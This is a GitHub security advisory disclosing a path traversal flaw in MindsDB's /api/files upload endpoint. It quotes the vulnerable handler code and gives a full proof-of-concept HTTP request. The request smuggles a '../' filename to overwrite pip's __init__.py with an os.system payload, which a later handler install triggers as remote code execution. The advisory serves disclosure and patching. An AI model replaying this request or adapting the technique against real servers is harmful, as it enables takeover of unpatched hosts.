GHSA-4894-xqv6-vrfq MindsDB: Path Traversal in /api/files Leading to Remote Code Execution

• PyPI mindsdb: < 25.9.1.1 → fixed in 25.9.1.1

Summary There is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution. Details The vulnerability exists in the "Upload File" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py: ```python @ns_conf.route("/") @ns_conf.param("name", "MindsDB's name for file") class File(Resource): @ns_conf.doc("put_file") @api_endpoint_metrics('PUT', '/files/file') def put(self, name: str): """add new file params in FormData: • file • original_file_name [optional] """ data = {} mindsdb_file_name = name existing_file_names = ca.file_controller.get_files_names() def on_field(field): name = field.field_name.decode() value = field.value.decode() data[name] = value file_object = None def on_file(file): nonlocal file_object data["file"] = file.file_name.decode() file_object = file.file_object temp_dir_path = tempfile.mkdtemp(prefix="mindsdb_file_") if request.headers["Content-Type"].startswith("multipart/form-data"): parser = multipart.create_form_parser( headers=request.headers, on_field=on_field, on_file=on_file, config={ "UPLOAD_DIR": temp_dir_path.encode(), # bytes required "UPLOAD_KEEP_FILENAME": True, "UPLOAD_KEEP_EXTENSIONS": True, "MAX_MEMORY_FILE_SIZE": 0, }, ) while True: chunk = request.stream.read(8192) if not chunk: break parser.write(chunk) parser.finalize() parser.close() if file_object is not None: if not file_object.closed: try: file_object.flush() except (AttributeError, ValueError, OSError): logger.debug("Failed to flush file_object before closing.", exc_info=True) file_object.close() file_object = None else: data = request.json ``` Since the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clear_filename and save_file, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server. PoC This vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB's own functionality. The API endpoint //install is used to install handlers, which internally calls install_dependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can: 1. Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/__init__.py with a malicious Python script. 2. Trigger the execution of the malicious script by calling //install, which invokes pip. Exploit： ``` PUT /api/files/mm HTTP/1.1 Host: ip:47334 Content-Length: 579 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: application/json, text/plain, */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9 Origin: http://ip:47334 Referer: http://ip:47334/fileUpload Accept-Encoding: gzip, deflate, br Accept-Language: zh,en;q=0.9,zh-CN;q=0.8 Cookie: bid=87948125-5042-4fc8-a692-9cbf71e387be Connection: keep-alive ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="name" mm ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="source" mm ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="source_type" file ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="file"; filename="../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py" Content-Type: text/plain import os os.system("touch /tmp/rce_by_hacker") ------WebKitFormBoundaryv9dZC0cAHLlHSHD9-- ``` After sending this request, you can observe the logs in Docker's output: ``` 2025-05-30 02:26:52,432 http INFO python_multipart.multipart: Opening a file on disk 2025-05-30 02:26:52,433 http INFO python_multipart.multipart: Saving with filename in: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0' 2025-05-30 02:26:52,433 http INFO python_multipart.multipart: Opening file: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0/../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py' ``` At this point, you can see that the file has been successfully overwritten: ``` root@e445c93b2fd5:/mindsdb# cat /venv/lib/python3.10/site-packages/pip/__init__.py import os os.system("touch /tmp/rce_by_hacker") ``` Afterwards, install any handler in the UI, and you will see that the file rce_by_hacker is successfully created in the /tmp directory. The same result can also be achieved by sending an API request to trigger it. Credit This vulnerability was discovered by: • XlabAI Team of Tencent Xuanwu Lab • Atuin Automated Vulnerability Discovery Engine If there are any questions regarding the vulnerability details, please feel free to reach out to MindsDB for further discussion at [email protected].